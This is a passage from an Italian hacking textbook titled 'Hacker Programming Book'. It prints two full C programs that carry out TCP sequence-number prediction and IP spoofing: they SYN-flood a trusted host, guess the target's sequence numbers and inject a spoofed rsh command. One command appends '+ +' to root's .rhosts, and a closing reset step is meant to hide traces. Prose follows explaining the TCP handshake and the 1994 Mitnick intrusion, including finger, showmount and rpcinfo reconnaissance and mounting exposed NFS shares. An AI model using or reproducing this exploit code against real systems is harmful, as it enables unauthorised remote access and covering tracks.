    char buf[4096];
    unsigned long prev_seq=0, diff=0;

     *offset=0;

       for (i=0;i<10;i++) {


sendtcppacket(s,src,dest,addr,TH_SYN,start_port,514,start_seq,0,NULL,0);

              for (;;) {
                     gettcppacket(r,buf,sizeof(buf));
                     ip = (struct iphdr *) buf;
                     if (ip->saddr != dest)
                            continue;
                     /*
                     printtcppacket(sizeof(buf),buf,addr);
                     */
                     len = ip->ihl << 2;
                     tcp = (struct tcphdr *) (buf+len);
             if (ntohs(tcp->th_dport)==start_port &&
                 ntohs(tcp->th_sport)==514) {
                     if (prev_seq) {
                         diff=tcp->th_seq-prev_seq;
                         printf("(prev=%u, new=%u, diff=%u\n", prev_seq,
                              tcp->th_seq, diff);
                     } else
                         diff=0;
                     if (*offset==0)
                         *offset=diff;
                     else {
                         if (*offset!=diff)
                              printf("Difference in Offset: old=%u, new=%u\n",
                                  *offset, diff);
                         *offset=diff;
                     }
                     prev_seq=tcp->th_seq;

       sendtcppacket(s,src,dest,addr,TH_RST,start_port++,514,start_seq+
+,0,NULL,0);



Copyright 2002 Flavio Bernardotti – Tel. (39) 380 7097051
Hacker Programming Book

                     break; /* out of for loop */
                 }
        }
    }
    *next_seq=prev_seq+*offset;
}

void spoof(int s, unsigned long src, unsigned long dest,
       struct sockaddr_in *addr, unsigned long next_seq)
{
    char buf[4096];
    unsigned short port=513;
    /*char *string="0\0root\0root\0echo + + >>/.rhosts\0";
    int stringlen=32;*/
    char *string="0\0kurt\0kurt\0/usr/bin/touch /tmp/spoof \0";
    int stringlen=39;
    u_long seq=54378435;
    int i;

    /* Send a syn with our own sequence number */

       sendtcppacket(s,src,dest,addr,TH_SYN,port,514,seq,0,NULL,0);
    usleep(5000); /* wait for the other side to SYN,ACK */

       sendtcppacket(s,src,dest,addr,TH_ACK,port,514,seq,++next_seq,NULL,0);


sendtcppacket(s,src,dest,addr,TH_ACK,port,514,seq,next_seq,string,stringlen)
;
    seq+=stringlen;

    sleep(1);
       sendtcppacket(s,src,dest,addr,TH_FIN,port,514,seq,next_seq,NULL,0);

    for (i=1;i<4;i++) {
        sleep(2);


sendtcppacket(s,src,dest,addr,TH_ACK,port,514,seq+1,next_seq+i,NULL,0);
    }
    usleep(50000);


sendtcppacket(s,src,dest,addr,TH_RST,port,514,seq+1,next_seq+4,NULL,0);
}

void reset_trusted(int s, unsigned long src, unsigned long dest,
       struct sockaddr_in *addr,
       unsigned long seq_num[80], unsigned long port_num[80])
{
    int i;

    for (i=0;i<80;i++)


sendtcppacket(s,src,dest,addr,TH_RST,port_num[i],513,seq_num[i],0,NULL,0);
}

void hose_trusted(int s, unsigned long src, unsigned long dest,
       struct sockaddr_in *addr,
       unsigned long seq_num[80], unsigned long port_num[80])
{
    int i;
    unsigned long start_seq=78156767+getpid();
    unsigned long start_port=600;

    for (i=0;i<80;i++) {
        port_num[i]=start_port++;



Copyright 2002 Flavio Bernardotti – Tel. (39) 380 7097051
Hacker Programming Book

        seq_num[i]=start_seq++;


sendtcppacket(s,src,dest,addr,TH_SYN,port_num[i],513,seq_num[i],0,NULL,0);
    }
}

void main(int argc, char *argv[])
{

       int rec, sen, i=1;
       unsigned char buf[4096];
       struct sockaddr_in addr, trustedaddr, bogusaddr;
       char *bogusname = "19.17.14.17";
       unsigned long dest, bogus, trusted, src, nseq, offset;
       struct hostent *host;
       unsigned long seq_num[80], port_num[80];

       if (argc != 3) {
              fprintf(stderr,"Usage: %s trusted target\n",argv[0]);
              exit(1);
       }

       memset(&trustedaddr,0,sizeof(trustedaddr));
       trustedaddr.sin_family = AF_INET;
       if ((trustedaddr.sin_addr.s_addr = inet_addr(argv[1])) == -1) {
              if ((host = gethostbyname(argv[1])) == NULL) {
                     printf("Unknown host %s.\n",argv[1]);
                     exit(1);
              }
              trustedaddr.sin_family = host->h_addrtype;
              memcpy((caddr_t)        &trustedaddr.sin_addr,host->h_addr,host-
>h_length);
       }
       printf("Trusted is %s\n",inet_ntoa(trustedaddr.sin_addr.s_addr));
       memcpy(&trusted,(char *)&trustedaddr.sin_addr.s_addr,4);

       memset(&addr,0,sizeof(addr));
       addr.sin_family = AF_INET;
       if ((addr.sin_addr.s_addr = inet_addr(argv[2])) == -1) {
              if ((host = gethostbyname(argv[2])) == NULL) {
                     printf("Unknown host %s.\n",argv[2]);
                     exit(1);
              }
              addr.sin_family = host->h_addrtype;
              memcpy((caddr_t) &addr.sin_addr,host->h_addr,host->h_length);
       }
       printf("Target is %s\n",inet_ntoa(addr.sin_addr.s_addr));
       memcpy(&dest,(char *)&addr.sin_addr.s_addr,4);

       if ((rec = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) < 0) {
              perror("error: recv socket");
              exit(1);
       }

       if ((sen = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
              perror("error: send socket");
              exit(1);
       }

#ifdef IP_HDRINCL
       fprintf(stderr,"IP_HDRINCL is set\n");
       if (setsockopt(sen,IPPROTO_IP,IP_HDRINCL,(char *)&i,sizeof(i)) < 0) {
              perror("setsockopt IP_HDRINCL");
              exit(1);
       };
#endif




Copyright 2002 Flavio Bernardotti – Tel. (39) 380 7097051
Hacker Programming Book

        gethostname(buf, 128);
        if ((host=gethostbyname(buf))==NULL) {
               fprintf(stderr, "Can't get my hostname!?\n");
               exit(1);
        }
        memcpy(&src,host->h_addr,4);

        bogusaddr.sin_family = AF_INET;
        bogusaddr.sin_addr.s_addr = inet_addr(bogusname);

        memcpy(&bogus,(char *)&bogusaddr.sin_addr.s_addr,4);

        hose_trusted(sen,bogus,trusted,&bogusaddr,seq_num,port_num);

        determine_sequence(sen, rec, src, dest, &addr, &nseq, &offset);

        printf("Next sequence number is: %u, offset is: %u\n", nseq, offset);

        spoof(sen,trusted,dest,&trustedaddr,nseq);

        reset_trusted(sen,bogus,trusted,&bogusaddr,seq_num,port_num);

}


Ogni computer connesso ad una rete TCP/IP durante una comunicazione allega al propio
pacchetto l'indirizzo IP di comunicazione e un numero univoco chiamato numero di sequenza.
L'hacker esegue l'attacco a previsione del numero di sequenza TCP/IP in due fasi.
Nella prima fase l'hacker cerca di determinare l'indirizzo IP del server, generalmente
mettendosi in ascolto dei pacchetti Internet, provando a specificare in ordine vari numeri di
host oppure connetendosi al sito mediante un browser Web e osservando l'indirizzo IP nella
barra di stato (attraverso il comando nslookup si può avere la traduzione dagli indirizzi IP
numerici a quelli a stringa e viceversa).
Ad esempio, se un sistema ha l'indirizzo IP 192.0.0.15,l'hacker, sapendo che in una rete C vi
possono essere fino a 256 computer, potrà cercare di indovinare i loro indirizzi modificando
unicamente l'ultimo byte.
Dopo che l'hacker avrà iniziato a trovare gli indirizzi della rete, inizierà anche a controllare i
numeri di sequenza dei pacchetti che si trasmettono tali computer.
Dopo aver monitorizzato le trasmissioni della rete, l'hacker cercherà di prevedere il prossimo
numero di sequenza che verrà generato dal server e quindi fornirà un proprio pacchetto con
tale numero di sequenza inserendosi fra il server e l'utente.
Poichè l'hacker ha già l'indirizzo IP del server, può in realtà generare pacchetti con i numeri di
sequenza corretti e indirizzi IP che gli consentono di intercettare le trasmissioni con l'utente.
Dopo che l'hacker ha avuto accesso al sistema tramite questo attacco, può accedere alle
informazioni che il sistema di comunicazione trasmette al server,inclusi file di password,nomi
di login,dati riservati ed ogni altra informazione trasmessa in rete. In genere questo attacco
viene usato come base per l'attacco di un altro server della rete.
Nel capitolo seguente vedremo questo attacco dal punto di vista pratico riportando quello che
fu un attacco storico mediante questa metodologia.
Dobbiamo stare attenti quando parliamo di cose storiche in quanto la realtà dei nostri giorni
potrebbe essere leggeremente differente e non solo leggermente.
Questo protocollo viene usato per stabilire connessioni bidirezionali via rete, e per trasferire
quantità di dati elevati attraverso anche a protocolli di livello applicazioni come telnet, http, ftp.
TCP a differenza degli altri protocolli della suite come ICMP o UDP, stabilisce una
connessione reale fra le parti che devono comunicare; una volta stabilita la connessione,
vengono trasmessi dati che verranno successivamente confermati attraverso numeri di
sequenza costruiti nel seguente modo:

Nella fase iniziale della connessione (handshake) il client contatta il server e gli propone un
suo numero di sequenza, il server risponde con un ack sul numero di sequenza appena
ricevuto e propone un suo numero di sequenza iniziale, che verrà successivamente
confermato dal client:




Copyright 2002 Flavio Bernardotti – Tel. (39) 380 7097051
Hacker Programming Book



                        Connessione TCP HANDSHAKE

               client                        server
                 --                             --
                | |   SYN (SEQ= x)             | |
                | | -------------------------> | |
                | |                            | |
                | |   SYN (SEQ= y, ACK= x+1)   | |
                | | <------------------------ | |
                | |                            | |
                | |   SYN (SEQ= x+1, ACK= y+1) | |
                | | -------------------------> | |
                | |                            | |
                | |                            | |
                 --                             --


Ricordiamoci che TCP è un protocollo sliding windows, o in italiano a finestra rotante, come lo
era, per quelli che si ricordano i vecchi BBS, un protocollo come Zmodem.
Ogni pacchetto TCP contiene un numero di sequenza (primo byte) e un numero di
acknowledgment (ultimo byte.
Questo sistema dello sliding windows è stato implementato per rendere il protocollo più
efficiente.




Il discorso dell’efficienza è legato a diversi fattori anche se quello più importante è dato dal
fatto che i protocolli di questo tipo utilizzano la banda in un modo più efficiente, dato che
viene permessa la trasmissione di più pacchetti prima che venga richiesto l’acknowledgment.
I numeri di sequenza successivi a quelli della connessione vengono costruiti in base ai byte
ricevuti, ovvero se ho ricevuto 13 byte, il prossimo numero di sequenza sarà la somma del
numero di sequenza precedente più il numero di byte ricevuti + 1 ( seq= seq_prec + 13 + 1 ).
Abbiamo visto che il numero di sequenza iniziale è contenuto nel primo pacchetto che ha
attivo il flag SYN, che indica l'inizio di una connessione TCP; altri flag utilizzati nel protocollo
TCP sono PUSH, che indica al protocollo TCP di inviare i dati immediatamente senza
aspettare altri dati; abbiamo poi il flag RESET, che indica di resettare la connessione
immdiatamente e infine il flag FIN che indica la fine della connessione.Inoltre bisogna tener
conto che dopo un certo tempo che il messaggio viene spedito e non si ha riscontro, allora
viene ritrasmesso, quindi ad ogni trasmissione viene associato un timer; inoltre quando una
macchina riceve un pacchetto ritrasmette indietro un riscontro per l'avvenuta ricezione.
Un altro sorgente indirizzato al’individuazione del numero di sequenza è il seguente :

/* This source is subject to the GNU PUBLIC LICENSE. It can be used freely



Copyright 2002 Flavio Bernardotti – Tel. (39) 380 7097051
Hacker Programming Book

 * for any non-commercial purpose, and this message and the contact
 * information must remain intact. For commercial purposes, you MUST contact
 * us to obtain a license for it's use. A copy of the GNU PUBLIC LICENSE is
 * available from: ftp://aeneas.mit.edu/pub/gnu/
 *
 *     This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
 * GNU General Public License for more details.
 *
 * Mike Neuman
 * En Garde Systems
 * 525 Clara Avenue, Suite 202
 * St. Louis, MO 63112
 * mcn@EnGarde.com
 */

#include   <stdio.h>
#include   <setjmp.h>
#include   <signal.h>
#include   <sys/types.h>
#include   <sys/socket.h>
#include   <netinet/in_systm.h>
#include   <netinet/in.h>
#include   <net/if.h>
#include   <netinet/if_ether.h>
#include   <netinet/ip.h>
#include   <netinet/tcp.h>
#include   <errno.h>
#include   <netdb.h>

#include "ipbpf.h" /* Include ipbpf header */

#define BADHOST "16.17.18.19"
  /* The host to spoof flooding the trusted
     * host's destination port from. This host shouldn't exist, but should
have
   * correct routing entries. The important part is so that returned packets
   * go to nowhere.
   */

#define NUMSEQUENCE 80
  /* The number of connections to spoof from BADHOST. I made this big.
  * I've found 4.4BSD will be flooded with only 8 unacked connections. Your
  * mileage may vary
  */

#define NUMTESTS 10
  /* How many samples of the sequence numbers do you want to take?
   * I randomly picked 10 and only take the last result. If I wanted to be
   * elegant, I'd do some sort of statistical average. Sequence numbers
   * are generally updated by a fixed number, this attempts to compute
   * this number taking into account average network lag. Fixed sequence
   * number updating currently works on: Solaris 2.x, NeXTstep, 4.4BSD, and
   * probably others, although I haven't tested them.
   */

#define ROUTER "router.EnGarde.com"
  /* The name of your router to the outside world. Spoofed packets need to
    * be sent to it's ether/fddi address in order to get to the outside
world.
   */

main(argc, argv)
int argc;
char *argv[];

{



Copyright 2002 Flavio Bernardotti – Tel. (39) 380 7097051
Hacker Programming Book

struct   hostent *he;
u_long   trust_addr, targ_addr;
u_long   seq_num[NUMSEQUENCE], port_num[NUMSEQUENCE];
u_long   next_seq, offset;

         if (argc!=3) {
                fprintf(stderr, "Usage: %s trusted-host target\n",argv[0]);
                exit(1);
         }
         if ((he=gethostbyname(argv[1]))==NULL) {
                trust_addr=inet_addr(argv[1]);
                if (trust_addr==(u_long)-1) {
                       fprintf(stderr, "Unknown host %s\n", argv[1]);
                       exit(1);
                }
         } else
                bcopy(he->h_addr, &trust_addr, 4);

         if ((he=gethostbyname(argv[2]))==NULL) {
                targ_addr=inet_addr(argv[2]);
                if (targ_addr==(u_long)-1) {
                       fprintf(stderr, "Unknown host %s\n", argv[2]);
                       exit(1);
                }
         } else
                bcopy(he->h_addr, &targ_addr, 4);

         printf("Initializing Packet Filter\n");
         use_best(); /* Use the best packet filter available on this system */
         if (init_filter("tcp", NULL)) {
                /* Initialize the packet filter and read only TCP packets */
                fprintf(stderr, "Can't init Packet Filter\n");
                exit(1);
         }

         /* First, send NUMSEQUENCE connection requests from BADHOST to the
          * trusted host on a trusted port (currently 513). Trusted host will
          * attempt to SYN-ACK these. If BADHOST doesn't exist, there will
never
          * be a response ACK. Consequently, trusted host's connection queue
will
          * fill and it will no longer respond to any packets to port 513.
          */

         printf("[Hosing Trusted Host...]\n");
         if (hose_trusted(argv[1], trust_addr, seq_num, port_num)) {
                fprintf(stderr, "Couldn't hose %s\n", argv[1]);
                exit(1);
         }

       /* Next, do a sampling of the difference in sequence numbers. These
packets
         * are NOT spoofed as receiving the reply is required. Consequently,
this
         * host can appear in any packet traces.
         */
       printf("[Determining sequence numbers...]\n");
       if (determine_sequence(argv[2], targ_addr, &next_seq, &offset)) {
               fprintf(stderr, "Couldn't determine sequence numbers for %s\n",
argv[2]);
               exit(1);
       }

       printf("=>Next sequence number is: %u, offset is: %u\n", next_seq,
offset);

         /* Next, do the actual spoofed connection, now that we know what the
next



Copyright 2002 Flavio Bernardotti – Tel. (39) 380 7097051
Hacker Programming Book

         * sequence number will be.
         */
       printf("[Spoofing Connection...]\n");
       if (spoof_connection(trust_addr, argv[2], targ_addr, next_seq)) {
               fprintf(stderr, "Couldn't spoof connection to %s\n", argv[1]);
               exit(1);
       }

       /* Finally, reset all of the half started connections on trusted-host.
         * This will put trusted-host back into it's normal state (and hide
         * the traces that it was used for evil.
         */
       printf("[Cleaning Up Trusted Mess...]\n");
       if (reset_trusted(argv[1], trust_addr, seq_num, port_num)) {
               fprintf(stderr, "Couldn't reset %s. Sucks to be it.\n",
argv[1]);
               exit(1);
       }

       /* fin */
       exit(0);
}

hose_trusted(trust_host, trust_addr, seq_num, port_num)
char *trust_host;
u_long trust_addr;
u_long seq_num[NUMSEQUENCE];
u_short port_num[NUMSEQUENCE];
{
       int i;
       u_long start_seq=49358353+getpid(); /* Make this anything you want */
       u_long start_port=600; /* Make this anything you want */
       struct ether_header eh;
       u_long bad_addr;

       /* First attempt to find the hardware address of the trusted host */
       if (ether_hostton(trust_host, &eh.ether_dhost)) {
              /* If that fails, find the hardware address of the router */
              if (ether_hostton(ROUTER, &eh.ether_dhost)) {
                     fprintf(stderr, "Can't determine ether addr of trusted
host or router.\n");
                     return(1);
              }
       }
       eh.ether_type=ETHERTYPE_IP;

       if ((bad_addr=inet_addr(BADHOST))==(u_long)-1) {
              fprintf(stderr, "Can't convert BADHOST address.\n");
              return(1);
       }

       /*   Send    a   whole    bunch   of   spoofed    SYNs.  Arguments   to
sendtcppacket_simple
        * are:
        * sendtcppacket_simple(
        *      struct ether_addr source_hardware_address,
        *      struct ether_addr destination_hardware_address,
        *      u_long            source_ip_address,
        *      u_long            destination_ip_address,
        *      u_short           source_port,
        *      u_short           destination_port,
        *      u_long            sequence_number,
        *      u_long            acknowldegement_number,
        *      int               TCP flags (SYN, RST, ACK, PUSH, FIN),
        *      char *            data,
        *      int               datalen)
        */
       for (i=0;i<NUMSEQUENCE;i++) {



Copyright 2002 Flavio Bernardotti – Tel. (39) 380 7097051
Hacker Programming Book

               port_num[i]=start_port++;   /*   record   the   ports   and   sequence
numbers */
               seq_num[i]=start_seq++;     /* for later reseting */

               sendtcppacket_simple(&(eh.ether_shost), &(eh.ether_dhost),
                      bad_addr, trust_addr,
                      port_num[i], 513, /* 513 is rlogin/rsh port */
                      seq_num, 0,
                      TH_SYN, NULL, 0);
       }
       return(0);
}

jmp_buf env;

void timedout()
{
       longjmp(env, 1);
}

determine_sequence(targ_host, targ_addr, next_seq, offset)
char *targ_host;
u_long targ_addr, *next_seq, *offset;
{
       struct hostent *he;
       struct ether_header eh, eh2;
       struct ip iph;
       struct tcphdr tcph;
       int i;
       u_long start_seq=4138353+getpid(); /* Make this anything you want */
       u_long start_port=600;            /* Make this anything you want */
       u_long my_addr;
       char buf[80];
       u_long prev_seq=0, diff=0;

       *offset=0;
       /* first attempt to get the destination's hardware address */
       if (ether_hostton(targ_host, &eh.ether_dhost)) {
              /* If that fails, get the router's hardware address */
              if (ether_hostton(ROUTER, &eh.ether_dhost)) {
                     fprintf(stderr, "Can't determine ether addr of trusted
host or router.\n");
                     return(1);
              }
       }
       eh.ether_type=ETHERTYPE_IP;

       gethostname(buf, 79);
       if ((he=gethostbyname(buf))==NULL) {
              fprintf(stderr, "Can't get my hostname!?\n");
              return(1);
       }
       bcopy(he->h_addr, &my_addr, 4);
       for (i=0;i<NUMTESTS;i++) {
              /* Do a setjmp here for timeouts */
              if (setjmp(env))
                     fprintf(stderr, "Response Timed out... Resending...\n");
              signal(SIGALRM, timedout);
              alarm(0);
              alarm(10); /* Wait 10 seconds for reply */
              sendtcppacket_simple(&(eh.ether_shost), &(eh.ether_dhost),
                     my_addr, targ_addr,
                     start_port, 514, /* 514 is rsh port */
                     start_seq, 0,
                     TH_SYN, NULL, 0);
              /* Send connection request packet */

               for (;;) {



Copyright 2002 Flavio Bernardotti – Tel. (39) 380 7097051
Hacker Programming Book

                     /*   Wait   until   the   reply   is   received.   Arguments   for
readpacket
                      * are:
                      * readpacket(
                      * struct fddi_header fddi_header,
                      * struct ether_header ether_header,
                      * struct ip            ip_header,
                      * struct udphdr        udp_header,
                      * struct tcphdr        tcp_header,
                      * char *               data,
                      * int                  datalen)
                      *
                      * return type is the type of packet read
                      */

                     while (readpacket(NULL, &eh2, &iph, NULL, &tcph, NULL,
NULL)!=
                            PTYPE_IP_TCP) ;
                     if (ntohs(tcph.th_dport)==start_port &&
                            ntohs(tcph.th_sport)==514) {
                            /* If the ports match, it's probably a reply--this
isn't
                             * definite, but it's a pretty good guess .
                             * The following attempts to generate a reliable
sequence.
                             * Actually, it's pretty dumb. It tries 10 times,
then takes
                             * the last result. Generally, I've found this to
work well
                             * enough to warrant not writing anything smarter.
                             */
                                   if (prev_seq) {
                                          diff=tcph.th_seq-prev_seq;
                                          printf("(prev=%u, new=%u, diff=%u\n",
prev_seq,
                                                   tcph.th_seq, diff);
                                    } else
                                           diff=0;
                                    if (*offset==0)
                                           *offset=diff;
                                    else {
                                           if (*offset!=diff)
                                                  printf("Difference      in   Offset:
old=%u, new=%u\n",
                                                             *offset, diff);
                                             *offset=diff;
                                    }
                                    prev_seq=tcph.th_seq;
                                    sendtcppacket_simple(
                                                 &(eh.ether_shost),
&(eh.ether_dhost),
                                               my_addr, targ_addr,
                                               start_port++, 514,
                                               start_seq++, 0,
                                               TH_RST, NULL, 0);
                                    /* Send a reset to close the connection.
Note, this
                                     * automatically will be sent by localhost
unless
                                     * a service is listening on whatever port
you've
                                     * chosen to start with at the top of this
routine.
                                     * so I reset it anyway
                                     */
                                    break; /* out of infinite for */
                           }
              } /* of infinite for */



Copyright 2002 Flavio Bernardotti – Tel. (39) 380 7097051
Hacker Programming Book

               alarm(0);
        } /* for i=0 i<numtests... */
        *next_seq=prev_seq+*offset;
        return(0);
}

spoof_connection(trust_addr, targ_host, targ_addr, next_seq)
u_long trust_addr, targ_addr, next_seq;
{
       struct ether_header eh;
       char buf[80];
       struct hostent *he;
       u_long my_addr;
       u_short port=513;
       char *string="0\0root\0root\0echo + + >>/.rhosts\0";
       int stringlen=32;
       u_long seq=385773357;
       int i;

       /* As before, get the target's hardware address */
       if (ether_hostton(targ_host, &eh.ether_dhost)) {
              /* If that fails, get the router's hardware address */
              if (ether_hostton(ROUTER, &eh.ether_dhost)) {
                     fprintf(stderr, "Can't determine etheraddr of target host
or router.\n");
                     return(1);
              }
       }
       eh.ether_type=ETHERTYPE_IP;

        /* Send a syn with our own sequence number */
        sendtcppacket_simple(&(eh.ether_shost), &(eh.ether_dhost),
               trust_addr, targ_addr,
               port, 514,
               seq++, 0,
               TH_SYN, NULL, 0);
        usleep(5000); /* wait for the other side to SYN,ACK */

        /* Send the ACK for the sequence number we guessed. I've found we
guess
         * right about 90% of the time
         */
        sendtcppacket_simple(&(eh.ether_shost), &(eh.ether_dhost),
               trust_addr, targ_addr,
               port, 514,
               seq, ++next_seq,
               TH_ACK, NULL, 0);

        /* Now, send our rsh request with the proper sequence and ACK nubmers
*/
        sendtcppacket_simple(&(eh.ether_shost), &(eh.ether_dhost),
               trust_addr, targ_addr,
               port, 514,
               seq, next_seq,
               TH_ACK, string, stringlen);
        seq+=stringlen;

       sleep(1); /* Wait for it to be received, ACKd, and processed */
       /* Send a fin with the our new sequence number and their sequence
number */
       sendtcppacket_simple(&(eh.ether_shost), &(eh.ether_dhost),
              trust_addr, targ_addr,
              port, 514,
              seq, next_seq,
              TH_FIN, NULL, 0);

        for (i=1;i<4;i++) { /* Send a bunch of ACKs */




Copyright 2002 Flavio Bernardotti – Tel. (39) 380 7097051
Hacker Programming Book

              /* If we screwed up the guessing the correct sequence number
the remote
               * host is using, guess a whole bunch more just to be sure. We
could
               * probably reset the connection, but it's better to have the
               * net software hang waiting for a proper FIN/ACK than have the
               * application that we've spoofed into running exit because we
               * reset the connection.
               */
              sleep(2);
              sendtcppacket_simple(&(eh.ether_shost), &(eh.ether_dhost),
                     trust_addr, targ_addr,
                     port, 514,
                     seq+1, next_seq+i,
                     TH_ACK, NULL, 0);
       }
       usleep(50000); /* Finally, send a RST */
       /* Now, if we're really screwed, and ~8 seconds later        we haven't
guessed
         * the right sequence number, just reset the connection. Hopefully by
now
         * the application has done it's job, so resetting shouldn't cause any
         * problems.
         */
       sendtcppacket_simple(&(eh.ether_shost), &(eh.ether_dhost),
               trust_addr, targ_addr,
               port, 514,
               seq+1, next_seq+4,
               TH_RST, NULL, 0);

        return(0);
}

reset_trusted(trust_host, trust_addr, seq_num, port_num)
u_long trust_addr;
u_long seq_num[NUMSEQUENCE], port_num[NUMSEQUENCE];
{
       struct ether_header eh;
       u_long bad_addr;
       int i;

       if (ether_hostton(trust_host, &eh.ether_dhost)) {
              if (ether_hostton(ROUTER, &eh.ether_dhost)) {
                     fprintf(stderr, "Can't determine ether addr of trusted
host or router.\n");
                     return(1);
              }
       }
       eh.ether_type=ETHERTYPE_IP;

        if ((bad_addr=inet_addr(BADHOST))==(u_long)-1) {
               fprintf(stderr, "Can't convert BADHOST address.\n");
               return(1);
        }

        /* Reset all of the connections we started before */
        for (i=0;i<NUMSEQUENCE;i++) {
               sendtcppacket_simple(&(eh.ether_shost), &(eh.ether_dhost),
                      bad_addr, trust_addr,
                      port_num[i], 513,
                      seq_num[i], 0,
                      TH_RST, NULL, 0);
        }
        return(0);
}




Copyright 2002 Flavio Bernardotti – Tel. (39) 380 7097051
Hacker Programming Book

La rappresentazione grafica dei tre pacchetti TCP necessari per instaurare una connessione
è la seguente :

Pacchetto 1: Direzione: Client ---> Server
             Flag Attivi: SYN
             Sequence number: X (numero generato dal client)

Pacchetto 2: Direzione: Server ---> Client
             Flag Attivi: SYN, ACK
             Sequence number: Y (numero generato dal server)
             Acknowledgement number: X + 1

Pacchetto 3: Direzione: Client ---> Server
             Flag Attivi: ACK
             Sequence number: X + 1
             Acknowledgement number: Y + 1

Dopo questo breve scenario di background culturale sul TCP/IP, passiamo alla descrizione
dell'attacco di Mitnick, allora innanzitutto



Un caso famoso di IP Spoofing
Questo attacco rappresenta la più grave minaccia per i server connessi a Internet.
Anche se presenta analogie con l'attacco al numero di sequenza, questo attacco ottiene
l'accesso alla rete costringendo la rete ad accettare il suo indirizzo IP come se fosse un
indirizzo fidato e dunque l'hacker non è costretto a provare indirizzi IP per trovare quello
giusto.L'idea dell'attacco è che l'hacker acquisisce il controllo di un computer che si collega
con la rete che rappresenta il suo obbiettivo.
Poi disconnette il computer dalla rete e inganna il server sostituendosi a tale computer.
Dopo che l'hacker si è sostiuito al computer disconnesso, sostituisce l'indirizzo IP all'interno di
ogni pacchetto con il propio indirizzo IP (della vittima)e altera i numeri di sequenza.
Utilizzando l'IP sostituito, un hacker simula con il proprio computer l'indirizzo IP di un sistema
fidato, dopo che l'hacker ha ingannato il computer di destinazione, utilizza un apposito
numero di sequenza per diventare la nuova destinazione del server.
Questo attacco permette di aggirare i sistemi di password monouso e pertanto può
compromettere un host dotato di elevati livelli di sicurezza, aggirando il sistema delle
password l'hacker può penetrare in un sistema operativo diverso dal propio.
In questo capitolo vedremo di definire la natura di questa tipologia di attacco dando un
occhiata a quello che è stato l’attacco remoto del mitico Kevin Mitnick’s sui sistemi di
Tsutomu Shimomura’s.
Quest’utlimo è uno degli esperti di sicurezza di reti più famosi come allo stesso modo Kevin è
sicuramente dall’altra parte il più famoso hacker esistente anche per la pena esemplare a cui
venne condannato proprio per le sue azioni d’intrusione all’interno di sistemi informatici.
Vengono utilizzati due differenti meccanismi e precisamente un IP source address spoofing e
un sistema indirizzato alla predizione del numero di sequenza TCP.
Dentro a quest’esempio sono inclusi dei logs che sono soltanto degli spezzoni dei risultati
mostrati da TCPDUMP che Tsutomu aveva in funzione sui suoi sistemi.
Infatti proprio grazie a questo riuscì a ricostruire l’attacco.
Alcune informazioni sono state omesse per chiarezza al fine di non confondere le idee.
La tecnica viene anche conosciuta con il termine di SYN flooding ovvero è in pratica la
manipolazione dei segnali scambiati dal protocollo nell’ambito di una fase atta a stabilire una
connessione.
L’attacco IP spoofing partì alle 14:09:32 PST del 12/25/94 e fu indirizzato verso una stazione
X-terminal costituita da una SPARC Station con Solaris come sistem operativo.
La prima indagine partì da una account con privilegio di root su un sistema di toad.com, dal
quale proviene il seguente log.

14:09:32 toad.com# finger -l @target
14:10:21 toad.com# finger -l @server



Copyright 2002 Flavio Bernardotti – Tel. (39) 380 7097051
Hacker Programming Book

14:10:50    toad.com#     finger -l root@server
14:11:07    toad.com#     finger -l @x-terminal
14:11:38    toad.com#     showmount -e x-terminal
14:11:49    toad.com#     rpcinfo -p x-terminal
14:12:05    toad.com#     finger -l root@x-terminal

L’ scopo apparente di questa indagine era quello di determinare se esistevano delle relazioni
trust all’interno dei sistemi che possano essere attaccati con un IP spoofing attack.
Come abbiamo già visto in altri capitoli le funzioni di fingeprinting eseguite su dei sistemi
hanno come scopo quello di ritornare la maggior quantità possibile di informazioni su un
account.
Una funzione di finger eseguite come client emette una query verso un host utilizzando il
protocollo finger per vedere se un utente è loggato sul sistema.
In altre parole, come abbiamo già detto, la funzione di finger riporta lo username di un target,
la data a dell’ultimo login, la directory home e tutte le altre informazioni legate all’utente
stesso.
I comandi showmount e rpcinfo necessitano dei permessi di root per la loro attivazione sulla
macchina attaccante.
Ad esempio il comando showmount mostra se un sistema condivide delle directory
utilizzando NFS:

showmount –e host

Se esistono directory condivise queste verranno listate:

/home host1 host2 host3
/usr host1

Questo esempio mostra quello che puo' risultare dall'esecuzione del comando showmount,
ovvero una serie di directory (2 in questo case,home e usr) seguite dal nome degli host che
possono accedere a queste risorse. Come si intuisce, queste directory possono essere
montate solo dai sistemi elencati (host1,host2,host3). Ma se al posto di host1,host2,host3 ci
fosse stato everyone, allora le due directory sarebbero state leggibili da chiunque...

Per esempio:

showmount –e search.websitek.com
/home everyone
/home1 everyone
/home2 everyone

Se ad esempio vedessimo, come nel caso precedente, che il sistema esporta delle directory,
potremmo usare queste per eseguire un mount con:

mount search.websitek.com:/home /mnt

Finger invia la query al server il quale processa l’output e termina la connessione.
L’output ricevuto dalla porta 79 riporta le informazioni dell’utente.
Il secondo comando mostrato nello stralcio di log è showmount con l’opzione –e il quale è
normalmente utilizzato per mostrare come un file system NFS esporta il suo file systems.
Il comando funziona anche da remoto su di una rete.
Il comando rpcinfo con l’opzione –p è una query relativa al portmap.
Il daemon relativo a portmap converte il numero del programma RPC in una numero di porta.
Circa sei minuti dopo iniziamo a vedere un flusso di TCP SYNs (le richieste iniziali di
connessione) dal 130.92.6.97 verso la porta 513 (login) del server.
Generalmente i segnali SYN sono destinati a comunicare a uno dei sistemi connessi
l’intenzione di richiedere l’inizio di una comunicazione.
Lo scopo di questi SYNs accodati sulla porta 513 del server con una connessione “half open”
è quello di non permettere di rispondere ad eventuali nuove richieste di connessione.



Copyright 2002 Flavio Bernardotti – Tel. (39) 380 7097051
Hacker Programming Book

In altre parole si tratta di una tecnica DOS per portare il sistema vittima ad essere bloccato.
Il concetto di “half open” sta nel fatto che l’handshake viene eseguito in modo tale che la
connessione di fatto non sia mai completata.
Un attaccante generalmente invia numerosi SYN per allacciarsi a delle risorse sul sistema di
destinazione.
Dopo aver ricevuto queste richieste di connessione, il server bersaglio alloca risorse per
gestire e tracciare la nuova sessione di comunicazione e quindi risponde con dei SYN-ACK.
In questo caso la risposta è inviata ad un indirizzo spoofed e quindi non esistente.
Questo significa che questo IP non risponderà a nessuna richiesta di nuova connessione.
In particolar modo, questo non genererà TCP RSTs in risposta a SYN-ACKs non attesi.
